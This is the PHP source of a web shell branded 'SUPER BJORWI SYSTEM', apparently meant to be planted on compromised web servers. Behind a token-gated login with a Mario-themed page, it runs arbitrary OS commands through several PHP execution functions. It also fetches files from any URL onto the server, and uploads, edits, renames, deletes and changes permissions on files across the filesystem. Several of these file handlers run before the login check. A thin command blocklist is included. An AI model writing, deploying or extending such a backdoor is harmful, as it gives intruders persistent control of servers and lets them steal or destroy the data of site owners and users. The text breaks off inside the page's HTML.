<?php
session_start();

$VALID_HASH = "0101000001100101011000110110100101101110011101000110000101001010011000010110111001100100011000010101001101100101011011010110111101101011001101110011011100110111";

// ==================== RECURSIVE DELETE FUNCTION ====================
function deleteRecursive($path) {
    if (!file_exists($path)) {
        return false;
    }
    
    if (is_dir($path)) {
        // Scan semua item dalam directory (skip . dan ..)
        $items = array_diff(scandir($path), ['.', '..']);
        foreach ($items as $item) {
            $item_path = $path . '/' . $item;
            if (!deleteRecursive($item_path)) {
                return false; // Stop jika ada yang gagal
            }
        }
        // Hapus directory setelah kosong
        return @rmdir($path);
    } else {
        // Hapus file
        return @unlink($path);
    }
}

function verifyAuthToken($input) {
    global $VALID_HASH;
    $input_hash = '';
    for ($i = 0; $i < strlen($input); $i++) {
        $input_hash .= sprintf('%08b', ord($input[$i]));
    }
    return hash_equals($VALID_HASH, $input_hash);
}

function executeCommand($command) {
    $output = [];
    $return_var = 0;
    
    $dangerous_commands = ['rm -rf', 'mkfs', 'dd', 'chmod 777'];
    foreach ($dangerous_commands as $dangerous) {
        if (stripos($command, $dangerous) !== false) {
            return ["⚠️ SECURITY: Dangerous command blocked: $dangerous"];
        }
    }
    
    if (function_exists('exec')) {
        @exec($command . " 2>&1", $output, $return_var);
    } 
    else if (function_exists('shell_exec')) {
        $result = @shell_exec($command . " 2>&1");
        $output = $result ? explode("\n", trim($result)) : ["No output"];
    }
    else if (function_exists('system')) {
        ob_start();
        @system($command . " 2>&1", $return_var);
        $result = ob_get_clean();
        $output = $result ? explode("\n", trim($result)) : ["No output"];
    }
    else if (function_exists('passthru')) {
        ob_start();
        @passthru($command . " 2>&1", $return_var);
        $result = ob_get_clean();
        $output = $result ? explode("\n", trim($result)) : ["No output"];
    }
    else {
        $output = simulate_advanced_terminal($command);
    }
    
    if (empty($output) || (count($output) === 1 && empty(trim($output[0])))) {
        $output = simulate_advanced_terminal($command);
    }
    
    return $output;
}

function downloadFromUrl($url, $save_path = '') {
    if (empty($save_path)) {
        $save_path = basename($url);
    }
    
    if (function_exists('curl_version')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        $data = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && $data) {
            if (file_put_contents($save_path, $data)) {
                return "Download successful: $save_path (" . round(strlen($data)/1024, 2) . " KB)";
            }
        }
        return "Download failed: HTTP $http_code";
    }
    else if (ini_get('allow_url_fopen')) {
        $data = file_get_contents($url);
        if ($data && file_put_contents($save_path, $data)) {
            return "Download successful: $save_path (" . round(strlen($data)/1024, 2) . " KB)";
        }
        return "Download failed";
    }
    else if (function_exists('wget')) {
        $output = [];
        exec("wget -O \"$save_path\" \"$url\" 2>&1", $output, $return_var);
        if ($return_var === 0) {
            return "Download successful: $save_path";
        }
        return "wget failed: " . implode("\n", $output);
    }
    else {
        return "No download method available (curl/wget/allow_url_fopen)";
    }
}

function simulate_advanced_terminal($command) {
    $cmd_parts = explode(' ', $command);
    $base_cmd = strtolower($cmd_parts[0]);
    
    switch ($base_cmd) {
        case 'pwd':
            return [getcwd()];
        case 'whoami':
            return [$_SERVER['USER'] ?? 'www-data'];
        case 'ls':
            $path = $cmd_parts[1] ?? '.';
            if (is_dir($path)) {
                $items = scandir($path);
                $result = [];
                foreach ($items as $item) {
                    if ($item != '.' && $item != '..') {
                        $result[] = $item . (is_dir($path . '/' . $item) ? '/' : '');
                    }
                }
                return $result;
            }
            return ["ls: cannot access '$path': No such file or directory"];
        case 'cat':
            $file = $cmd_parts[1] ?? '';
            if ($file && file_exists($file) && is_file($file)) {
                $content = file_get_contents($file);
                return $content ? explode("\n", $content) : ["[empty file]"];
            }
            return ["cat: $file: No such file or directory"];
        case 'echo':
            array_shift($cmd_parts);
            return [implode(' ', $cmd_parts)];
        case 'id':
            return ['uid=33(www-data) gid=33(www-data) groups=33(www-data)'];
        case 'date':
            return [date('D M j H:i:s Y')];
        case 'uname':
            return [php_uname()];
        case 'php':
            array_shift($cmd_parts);
            $php_cmd = implode(' ', $cmd_parts);
            if ($php_cmd === '-v') {
                return ['PHP ' . PHP_VERSION];
            }
            return ["PHP " . PHP_VERSION];
        case 'help':
            return [
                "Available commands:",
                "pwd, ls [dir], cat [file], echo [text], whoami, id, date, uname, php -v",
                "wget [url] - Download file from URL",
                "wget -O [filename] [url] - Download dengan nama custom",
                "curl [url] - Download file from URL", 
                "help - This help message"
            ];
        default:
            return [
                "bash: $base_cmd: command not found",
                "Type 'help' for available commands"
            ];
    }
}

// ==================== BULK DELETE HANDLER - FIXED RECURSIVE ====================
if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) {
    $deleted_count = 0;
    $errors = [];
    $current_path = $_POST['current_path'] ?? '.';
    
    foreach ($_POST['selected_items'] as $item_path) {
        if (file_exists($item_path)) {
            if (deleteRecursive($item_path)) {
                $deleted_count++;
            } else {
                $errors[] = "Failed to delete: " . basename($item_path);
            }
        } else {
            $errors[] = "File not found: " . basename($item_path);
        }
    }
    
    if ($deleted_count > 0) {
        $_SESSION['success'] = "✅ Successfully deleted $deleted_count items";
    }
    if (!empty($errors)) {
        $_SESSION['error'] = implode("\n", $errors);
    }
    
    header("Location: ?path=" . urlencode($current_path) . "&tab=files");
    exit;
}

// ==================== SINGLE DELETE HANDLER - FIXED RECURSIVE ====================
if ($_GET['delete'] ?? false) {
    $delete_path = $_GET['delete'];
    $current_path = $_GET['current_path'] ?? '.';
    
    if (file_exists($delete_path)) {
        if (deleteRecursive($delete_path)) {
            $_SESSION['success'] = "Item deleted successfully";
        } else {
            $_SESSION['error'] = "Failed to delete item";
        }
    } else {
        $_SESSION['error'] = "File or directory not found";
    }
    
    header("Location: ?path=" . urlencode($current_path) . "&tab=files");
    exit;
}

if ($_POST['auth_token'] ?? false) {
    if (verifyAuthToken($_POST['auth_token'])) {
        $_SESSION['authenticated'] = true;
        $_SESSION['auth_time'] = time();
        header("Location: ?");
        exit;
    } else {
        $auth_error = "Invalid access token";
    }
}

if ($_GET['logout'] ?? false) {
    session_destroy();
    header("Location: ?");
    exit;
}

if ($_POST['terminal_cmd'] ?? false) {
    $command = trim($_POST['terminal_cmd']);
    
    if (empty($command)) {
        $_SESSION['terminal_output'] = "Please enter a command";
    } else {
        if (preg_match('/^wget\s+(-O\s+([^\s]+)\s+)?(https?:\/\/[^\s]+)/i', $command, $matches)) {
            $url = $matches[3];
            $filename = !empty($matches[2]) ? $matches[2] : basename($url);
            $result = downloadFromUrl($url, $filename);
            $_SESSION['terminal_output'] = $result;
        } 
        else if (preg_match('/^curl\s+(https?:\/\/[^\s]+)/i', $command, $matches)) {
            $url = $matches[1];
            $filename = basename($url);
            $result = downloadFromUrl($url, $filename);
            $_SESSION['terminal_output'] = $result;
        } else {
            $output = executeCommand($command);
            $_SESSION['terminal_output'] = implode("\n", $output);
        }
    }
    
    $_SESSION['last_command'] = $command;
    header("Location: ?tab=terminal");
    exit;
}

// Handle download dari URL modal
if (isset($_POST['download_url_submit'])) {
    $url = $_POST['download_url'];
    $filename = $_POST['filename'] ?? basename($url);
    $current_path = $_POST['current_path'] ?? '.';
    
    if (!empty($url)) {
        $full_path = $current_path . '/' . $filename;
        $result = downloadFromUrl($url, $full_path);
        
        if (strpos($result, 'successful') !== false) {
            $_SESSION['success'] = $result;
        } else {
            $_SESSION['error'] = $result;
        }
    } else {
        $_SESSION['error'] = "URL cannot be empty";
    }
    
    header("Location: ?path=" . urlencode($current_path) . "&tab=files");
    exit;
}

if (isset($_POST['create_file'])) {
    $filename = $_POST['filename'];
    $current_path = $_POST['current_path'] ?? '.';
    $full_path = $current_path . '/' . $filename;
    
    if (touch($full_path)) {
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    } else {
        $_SESSION['error'] = "Failed to create file: " . $filename;
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
}

if (isset($_POST['create_folder'])) {
    $foldername = $_POST['foldername'];
    $current_path = $_POST['current_path'] ?? '.';
    $full_path = $current_path . '/' . $foldername;
    
    if (mkdir($full_path, 0755, true)) {
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    } else {
        $_SESSION['error'] = "Failed to create folder: " . $foldername . " in " . $current_path;
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
}

if (isset($_POST['upload'])) {
    $current_path = $_POST['current_path'] ?? '.';
    
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        $filename = basename($_FILES['file']['name']);
        $target_file = $current_path . '/' . $filename;
        
        if (file_exists($target_file)) {
            $_SESSION['error'] = "File already exists: " . $filename;
            header("Location: ?path=" . urlencode($current_path) . "&tab=files");
            exit;
        }
        
        if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
            $_SESSION['success'] = "File uploaded successfully: " . $filename;
            header("Location: ?path=" . urlencode($current_path) . "&tab=files");
            exit;
        } else {
            $_SESSION['error'] = "Failed to upload file: " . $filename;
            header("Location: ?path=" . urlencode($current_path) . "&tab=files");
            exit;
        }
    } else {
        $error_code = $_FILES['file']['error'] ?? 'Unknown';
        $_SESSION['error'] = "Upload error (Code: $error_code)";
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
}

if (isset($_POST['edit_file'])) {
    $file_path = $_POST['file_path'];
    $file_content = $_POST['file_content'];
    $current_path = $_POST['current_path'] ?? '.';
    
    if (file_exists($file_path) && is_writable($file_path)) {
        if (file_put_contents($file_path, $file_content) !== false) {
            $_SESSION['success'] = "File edited successfully: " . basename($file_path);
            header("Location: ?path=" . urlencode($current_path) . "&tab=files");
            exit;
        } else {
            $_SESSION['error'] = "Failed to edit file: " . basename($file_path);
            header("Location: ?path=" . urlencode($current_path) . "&tab=files");
            exit;
        }
    } else {
        $_SESSION['error'] = "File not writable or doesn't exist: " . basename($file_path);
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
}

// Handle rename
if (isset($_POST['rename'])) {
    $old_path = $_POST['old_path'];
    $new_name = trim($_POST['new_name']);
    $current_path = $_POST['current_path'] ?? '.';
    
    if (empty($new_name)) {
        $_SESSION['error'] = "New name cannot be empty";
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
    
    $new_name = str_replace(['/', '\\', '..'], '', $new_name);
    $new_path = dirname($old_path) . '/' . $new_name;
    
    if (!file_exists($old_path)) {
        $_SESSION['error'] = "Source does not exist: " . basename($old_path);
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
    
    if (file_exists($new_path)) {
        $_SESSION['error'] = "Target already exists: " . $new_name;
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
    
    if (rename($old_path, $new_path)) {
        $_SESSION['success'] = "Renamed: " . basename($old_path) . " → " . $new_name;
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    } else {
        $_SESSION['error'] = "Rename failed: " . basename($old_path);
        header("Location: ?path=" . urlencode($current_path) . "&tab=files");
        exit;
    }
}

if (!($_SESSION['authenticated'] ?? false)) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>System Authentication</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Courier New', monospace;
            background: #1a1aff;
            color: #fff;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            overflow: hidden;
            background-image: 
                radial-gradient(circle at 20% 80%, #ff0000 0%, transparent 20%),
                radial-gradient(circle at 80% 20%, #ffff00 0%, transparent 20%),
                radial-gradient(circle at 40% 40%, #00ff00 0%, transparent 15%);
        }
        .mario-bg {
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: linear-gradient(0deg, #1a1aff 0%, #4a4aff 100%);
            z-index: -1;
            overflow: hidden;
        }
        .mario-cloud {
            position: absolute;
            background: white;
            border-radius: 50px;
            opacity: 0.8;
        }
        .mario-cloud:nth-child(1) {
            width: 120px; height: 60px;
            top: 20%; left: 10%;
        }
        .mario-cloud:nth-child(2) {
            width: 80px; height: 40px;
            top: 30%; right: 15%;
        }
        .mario-cloud:nth-child(3) {
            width: 100px; height: 50px;
            top: 15%; left: 60%;
        }
        .login-box {
            background: linear-gradient(45deg, #ff0000, #cc0000);
            border: 5px solid #fff;
            padding: 40px;
            width: 90%;
            max-width: 500px;
            border-radius: 15px;
            box-shadow: 
                0 0 30px rgba(255, 0, 0, 0.5),
                10px 10px 0 #000;
            text-align: center;
        }
        .title {
            text-align: center;
            margin-bottom: 30px;
            font-size: 32px;
            color: #fff;
            text-shadow: 
                3px 3px 0 #000,
                5px 5px 0 #ffcc00;
            font-weight: bold;
        }
        .input-group {
            margin-bottom: 20px;
        }
        .auth-input {
            width: 100%;
            background: #fff;
            border: 3px solid #000;
            color: #000;
            padding: 15px;
            font-family: 'Courier New', monospace;
            font-size: 16px;
            outline: none;
            border-radius: 8px;
            font-weight: bold;
            box-shadow: 3px 3px 0 #000;
        }
        .auth-btn {
            width: 100%;
            background: linear-gradient(180deg, #ffcc00, #ffaa00);
            color: #000;
            border: 3px solid #000;
            padding: 15px;
            font-family: 'Courier New', monospace;
            font-size: 18px;
            cursor: pointer;
            transition: all 0.3s;
            border-radius: 8px;
            font-weight: bold;
            box-shadow: 3px 3px 0 #000;
        }
        .auth-btn:hover {
            background: linear-gradient(180deg, #ffdd44, #ffcc00);
            transform: translate(2px, 2px);
            box-shadow: 1px 1px 0 #000;
        }
        .error {
            color: #ffcc00;
            text-align: center;
            margin: 15px 0;
            font-size: 14px;
            font-weight: bold;
            text-shadow: 1px 1px 0 #000;
        }
    </style>
</head>
<body>
    <div class="mario-bg">
        <div class="mario-cloud"></div>
        <div class="mario-cloud"></div>
        <div class="mario-cloud"></div>
    </div>
    
    <div class="login-box">
        <div class="title">SUPER BJORWI ACCESS</div>
        <?php if (isset($auth_error)): ?>
            <div class="error">⚠️ ACCESS DENIED!</div>
        <?php endif; ?>
        <form method="post">
            <div class="input-group">
                <input type="password" name="auth_token" class="auth-input" 
                       placeholder="ENTER SECRET TOKEN" required autofocus>
            </div>
            <button type="submit" class="auth-btn">🎮 START GAME!</button>
        </form>
    </div>
</body>
</html>
<?php
exit;
}

$current_tab = $_GET['tab'] ?? 'files';
$path = $_GET['path'] ?? '.';
$path = realpath($path) ?: '.';

if ($_POST['chmod'] ?? false) {
    $chmod_path = $_POST['chmod_path'];
    $permission = $_POST['permission'];
    if (chmod($chmod_path, octdec($permission))) {
        header("Location: ?path=" . urlencode($path) . "&tab=files");
        exit;
    }
}

if ($_GET['download'] ?? false) {
    $file_path = $_GET['download'];
    if (file_exists($file_path) && !is_dir($file_path)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
        readfile($file_path);
        exit;
    }
}

if ($_GET['edit'] ?? false) {
    $edit_path = $_GET['edit'];
    if (file_exists($edit_path) && !is_dir($edit_path)) {
        $file_content = htmlspecialchars(file_get_contents($edit_path));
        $current_tab = 'edit';
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SUPER BJORWI SYSTEM</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Courier New', monospace;
            background: #1a1aff;
            color: #fff;
            min-height: 100vh;
            overflow-x: hidden;
            background-image: 
                radial-gradient(circle at 20% 80%, #ff0000 0%, transparent 20%),
                radial-gradient(circle at 80% 20%, #ffff00 0%, transparent 20%),
                radial-gradient(circle at 40% 40%, #00ff00 0%, transparent 15%);
        }
        .mario-bg {
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: linear-gradient(0deg, #1a1aff 0%, #4a4aff 100%);
            z-index: -1;
            overflow: hidden;
        }
        .mario-cloud {
            position: absolute;
            background: white;
            border-radius: 50px;
            opacity: 0.8;
        }
        .mario-cloud:nth-child(1) {
            width: 120px; height: 60px;
            top: 20%; left: 10%;
        }
        .mario-cloud:nth-child(2) {
            width: 80px; height: 40px;
            top: 30%; right: 15%;
        }
        .mario-cloud:nth-child(3) {
            width: 100px; height: 50px;
            top: 15%; left: 60%;
        }

        /* ==================== MUSHROOM CURSOR EFFECTS ==================== */
        .mushroom-fall {
            position: fixed;
            width: 30px;
            height: 30px;
            pointer-events: none;
            z-index: 9999;
            background: radial-gradient(circle at 30% 30%, #ff0000, #cc0000);
            border-radius: 50% 50% 40% 40%;
            opacity: 0;
            filter: drop-shadow(2px 2px 0 #000);
        }

        .mushroom-fall::before {
            content: '';
            position: absolute;
            top: -8px;
            left: 5px;
            width: 20px;
            height: 15px;
            background: white;
            border-radius: 50% 50% 40% 40%;
            border: 2px solid #000;
        }

        .mushroom-fall::after {
            content: '';
            position: absolute;
            top: -5px;
            left: 8px;
            width: 14px;
            height: 8px;
            background: white;
            border-radius: 50%;
        }

        .mushroom-big {
            position: fixed;
            width: 80px;
            height: 80px;
            pointer-events: none;
            z-index: 10000;
            background: radial-gradient(circle at 30% 30%, #ff0000, #cc0000);
            border-radius: 50% 50% 40% 40%;
            opacity: 0;
            filter: drop-shadow(4px 4px 0 #000);
            transform: scale(0);
        }

        .mushroom-big::before {
            content: '';
            position: absolute;
            top: -20px;
            left: 15px;
            width: 50px;
            height: 35px;
            background: white;
            border-radius: 50% 50% 40% 40%;
            border: 3px solid #000;
        }

        .mushroom-big::after {
            content: '';
            position: absolute;
            top: -12px;
            left: 22px;
            width: 36px;
            height: 20px;
            background: white;
            border-radius: 50%;
        }

        @keyframes mushroomFall {
            0% {
                opacity: 1;
                transform: translateY(-100px) rotate(0deg);
            }
            100% {
                opacity: 0;
                transform: translateY(100px) rotate(360deg);
            }
        }

        @keyframes mushroomPop {
            0% {
                opacity: 1;
                transform: scale(0) rotate(0deg);
            }
            50% {
                opacity: 1;
                transform: scale(1.2) rotate(180deg);
            }
            100% {
                opacity: 0;
                transform: scale(1) rotate(360deg);
            }
        }

        /* Cursor berubah warna terus */
        body {
            cursor: default;
            animation: cursorColorChange 3s infinite;
        }

        @keyframes cursorColorChange {
            0% { cursor: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path fill="%23ff0000" d="M6 2 L26 16 L6 30 Z" stroke="%23000" stroke-width="2"/></svg>'), auto; }
            25% { cursor: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path fill="%2300ff00" d="M6 2 L26 16 L6 30 Z" stroke="%23000" stroke-width="2"/></svg>'), auto; }
            50% { cursor: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path fill="%230000ff" d="M6 2 L26 16 L6 30 Z" stroke="%23000" stroke-width="2"/></svg>'), auto; }
            75% { cursor: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path fill="%23ffff00" d="M6 2 L26 16 L6 30 Z" stroke="%23000" stroke-width="2"/></svg>'), auto; }
            100% { cursor: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path fill="%23ff00ff" d="M6 2 L26 16 L6 30 Z" stroke="%23000" stroke-width="2"/></svg>'), auto; }
        }

        /* Hover effect untuk elemen interaktif */
        button:hover, input:hover, a:hover, .tool-btn:hover, .action-btn:hover, .tab:hover, .path-link:hover {
            position: relative;
        }

        .header {
            background: linear-gradient(45deg, #ff0000, #ff6b6b);
            border-bottom: 5px solid #cc0000;
            padding: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            box-shadow: 0 4px 0 #cc0000;
        }
        .title {
            font-size: 28px;
            color: #fff;
            text-shadow: 
                3px 3px 0 #cc0000,
                5px 5px 0 #000;
            font-weight: bold;
            letter-spacing: 2px;
        }
        .logout {
            background: #ffcc00;
            color: #000;
            text-decoration: none;
            font-weight: bold;
            padding: 12px 24px;
            border: 3px solid #000;
            border-radius: 10px;
            box-shadow: 3px 3px 0 #000;
            transition: all 0.2s;
        }
        .logout:hover {
            background: #ffdd44;
            transform: translate(2px, 2px);
            box-shadow: 1px 1px 0 #000;
        }
        .tabs {
            background: linear-gradient(180deg, #ff6b6b, #ff0000);
            border-bottom: 3px solid #cc0000;
            display: flex;
        }
        .tab {
            padding: 15px 25px;
            background: transparent;
            border: none;
            color: #fff;
            cursor: pointer;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            font-weight: bold;
            border-right: 2px solid #cc0000;
            transition: all 0.3s;
            text-shadow: 1px 1px 0 #000;
        }
        .tab.active {
            background: #ffcc00;
            color: #000;
            text-shadow: none;
            box-shadow: inset 0 -3px 0 #000;
        }
        .tab:hover {
            background: #ffdd44;
            color: #000;
        }
        .tab-content {
            display: none;
            padding: 20px;
        }
        .tab-content.active {
            display: block;
        }
        .path-bar {
            background: linear-gradient(180deg, #00aaff, #0077cc);
            padding: 15px 20px;
            border-bottom: 3px solid #005599;
            font-size: 14px;
            font-weight: bold;
            color: #fff;
            text-shadow: 1px 1px 0 #000;
        }
        .path-link {
            color: #ffff00;
            cursor: pointer;
            text-decoration: underline;
            margin: 0 5px;
            font-weight: bold;
        }
        .path-link:hover {
            color: #ffcc00;
        }
        .tool-bar {
            background: linear-gradient(180deg, #ffcc00, #ffaa00);
            padding: 15px 20px;
            border-bottom: 3px solid #cc8800;
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }
        .tool-btn {
            background: linear-gradient(180deg, #00cc00, #00aa00);
            color: #fff;
            border: 2px solid #005500;
            padding: 10px 20px;
            cursor: pointer;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            font-weight: bold;
            border-radius: 8px;
            box-shadow: 3px 3px 0 #005500;
            transition: all 0.2s;
            text-shadow: 1px 1px 0 #000;
        }
        .tool-btn:hover {
            background: linear-gradient(180deg, #00ee00, #00cc00);
            transform: translate(2px, 2px);
            box-shadow: 1px 1px 0 #005500;
        }
        .file-table {
            width: 100%;
            border-collapse: collapse;
            background: rgba(255, 255, 255, 0.9);
            margin: 20px 0;
            border: 3px solid #000;
            border-radius: 10px;
            overflow: hidden;
        }
        .file-table th {
            background: linear-gradient(180deg, #ff6b6b, #ff0000);
            color: #fff;
            padding: 15px;
            border: 2px solid #cc0000;
            text-align: left;
            font-weight: bold;
            text-shadow: 1px 1px 0 #000;
        }
        .file-table td {
            padding: 12px;
            border: 2px solid #ccc;
            background: #fff;
            color: #000;
        }
        .dir { 
            color: #ff0000; 
            cursor: pointer; 
            font-weight: bold;
        }
        .file { 
            color: #0000ff; 
            font-weight: bold;
        }
        .actions { white-space: nowrap; }
        .action-btn {
            background: linear-gradient(180deg, #ffcc00, #ffaa00);
            color: #000;
            border: 2px solid #cc8800;
            padding: 6px 12px;
            cursor: pointer;
            font-size: 11px;
            margin: 0 2px;
            font-family: 'Courier New', monospace;
            font-weight: bold;
            border-radius: 5px;
            box-shadow: 2px 2px 0 #000;
            transition: all 0.2s;
        }
        .action-btn:hover {
            background: linear-gradient(180deg, #ffdd44, #ffcc00);
            transform: translate(1px, 1px);
            box-shadow: 1px 1px 0 #000;
        }
        .terminal-container {
            background: #000;
            border: 3px solid #ffcc00;
            height: 500px;
            overflow-y: auto;
            padding: 15px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            border-radius: 10px;
            box-shadow: 5px 5px 0 #cc8800;
        }
        .terminal-output {
            color: #00ff00;
            margin-bottom: 10px;
            white-space: pre-wrap;
        }
        .terminal-prompt {
            color: #ffcc00;
            margin-right: 10px;
            font-weight: bold;
        }
        .terminal-input {
            background: transparent;
            border: none;
            color: #00ff00;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            width: 80%;
            outline: none;
            font-weight: bold;
        }
        .cmd-form {
            display: flex;
            align-items: center;
            background: #000;
            border: 2px solid #ffcc00;
            padding: 10px;
            border-radius: 8px;
            margin-top: 10px;
        }
        .modal {
            display: none;
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: rgba(0, 0, 0, 0.8);
            z-index: 1000;
        }
        .modal-content {
            position: absolute;
            top: 50%; left: 50%;
            transform: translate(-50%, -50%);
            background: linear-gradient(45deg, #ff6b6b, #ff0000);
            border: 5px solid #cc0000;
            padding: 30px;
            min-width: 400px;
            border-radius: 15px;
            box-shadow: 10px 10px 0 #000;
        }
        .modal-title {
            color: #fff;
            margin-bottom: 20px;
            font-size: 18px;
            font-weight: bold;
            text-shadow: 2px 2px 0 #000;
        }
        .modal-input {
            width: 100%;
            background: #fff;
            border: 3px solid #000;
            color: #000;
            padding: 10px;
            margin: 10px 0;
            font-family: 'Courier New', monospace;
            border-radius: 8px;
            font-weight: bold;
            box-shadow: 3px 3px 0 #000;
        }
        .edit-textarea {
            width: 100%;
            height: 400px;
            background: #000;
            border: 3px solid #ffcc00;
            color: #00ff00;
            padding: 15px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            resize: vertical;
            border-radius: 8px;
        }
        
        .copyright {
            position: fixed;
            bottom: 15px;
            white-space: nowrap;
            font-size: 14px;
            font-weight: bold;
            z-index: 1000;
            animation: marquee 20s linear infinite;
            background: linear-gradient(90deg, 
                #ff0000, #ff8000, #ffff00, #00ff00, 
                #00ffff, #0000ff, #8000ff, #ff00ff, #ff0000
            );
            background-size: 800% 100%;
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            text-shadow: 0 0 10px rgba(255, 255, 255, 0.3);
            animation: marquee 15s linear infinite, gradientMove 3s linear infinite;
        }

        @keyframes marquee {
            0% { transform: translateX(100vw); }
            100% { transform: translateX(-100%); }
        }
        
        @keyframes gradientMove {
            0% { background-position: 0% 50%; }
            100% { background-position: 800% 50%; }
        }

        .error-message {
            background: rgba(255, 0, 0, 0.1);
            border: 3px solid #ff0000;
            color: #ff0000;
            padding: 10px;
            margin: 10px 0;
            text-align: center;
            border-radius: 8px;
            font-weight: bold;
            text-shadow: 1px 1px 0 #000;
        }
        .success-message {
            background: rgba(0, 255, 0, 0.1);
            border: 3px solid #00ff00;
            color: #00ff00;
            padding: 10px;
            margin: 10px 0;
            text-align: center;
            border-radius: 8px;
            font-weight: bold;
            text-shadow: 1px 1px 0 #000;
        }
        
        .terminal-success { color: #00ff00; }
        .terminal-error { color: #ff0000; }
        .terminal-info { color: #ffcc00; }

        .checkbox-cell {
            width: 30px;
            text-align: center;
        }
        .bulk-actions {
            background: rgba(255, 0, 0, 0.1);
            border: 3px solid #ff0000;
            padding: 10px;
            margin: 10px 0;
            display: none;
            border-radius: 8px;
        }
        .bulk-checkbox {
            transform: scale(1.2);
            cursor: pointer;
        }
        .item-checkbox {
            transform: scale(1.2);
            cursor: pointer;
        }
    </style>
</head>
<body>
    <div class="mario-bg">
        <div class="mario-cloud"></div>
        <div class="mario-cloud"></div>
        <div class="mario-cloud"></div>
    </div>
    
    <div class="copyright">Copyright by : BJORWI ~~~IT'S-A ME, MARIO!~~~</div>
    
    <div class="header">
        <div class="title">🎮 SUPER BJORWI SYSTEM</div>
        <a href="?logout=1" class="logout">GAME OVER</a>
    </div>
    
    <div class="tabs">
        <button class="tab <?php echo $current_tab == 'files' ? 'active' : ''; ?>" onclick="switchTab('files')">📁 FILESYSTEM</button>
        <button class="tab <?php echo $current_tab == 'terminal' ? 'active' : ''; ?>" onclick="switchTab('terminal')">💻 TERMINAL</button>
        <?php if (isset($edit_path)): ?>
            <button class="tab active">📝 EDIT FILE</button>
        <?php endif; ?>
    </div>
    
    <?php
    $path_parts = [];
    $current_path = '';
    foreach (explode('/', trim($path, '/')) as $part) {
        if ($part) {
            $current_path .= '/' . $part;
            $path_parts[] = '<span class="path-link" onclick="navigateTo(\'' . $current_path . '\')">' . $part . '</span>';
        }
    }
    $path_links = '<span class="path-link" onclick="navigateTo(\'/\')">/</span>' . implode(' / ', $path_parts);
    
    $folders = [];
    $files = [];
    
    foreach (scandir($path) as $item) {
        if ($item == '.' || $item == '..') continue;
        $fullpath = $path . '/' . $item;
        $item_data = [
            'name' => $item,
            'path' => $fullpath,
            'is_dir' => is_dir($fullpath),
            'size' => is_dir($fullpath) ? '-' : round(filesize($fullpath) / 1024, 2) . ' KB',
            'perms' => substr(sprintf('%o', fileperms($fullpath)), -4)
        ];
        
        if ($item_data['is_dir']) {
            $folders[] = $item_data;
        } else {
            $files[] = $item_data;
        }
    }
    
    usort($folders, function($a, $b) { return strcmp($a['name'], $b['name']); });
    usort($files, function($a, $b) { return strcmp($a['name'], $b['name']); });
    ?>
    
    <div id="files-tab" class="tab-content <?php echo $current_tab == 'files' ? 'active' : ''; ?>">
        <div class="path-bar">
            📁 Path: <?php echo $path_links; ?>
        </div>
        
        <?php if (isset($_SESSION['error'])): ?>
            <div class="error-message">
                ⚠️ <?php echo $_SESSION['error']; unset($_SESSION['error']); ?>
            </div>
        <?php endif; ?>
        
        <?php if (isset($_SESSION['success'])): ?>
            <div class="success-message">
                ✅ <?php echo $_SESSION['success']; unset($_SESSION['success']); ?>
            </div>
        <?php endif; ?>
        
        <div class="tool-bar">
            <button class="tool-btn" onclick="showModal('uploadModal')">📤 UPLOAD</button>
            <button class="tool-btn" onclick="showModal('createFileModal')">📄 NEW FILE</button>
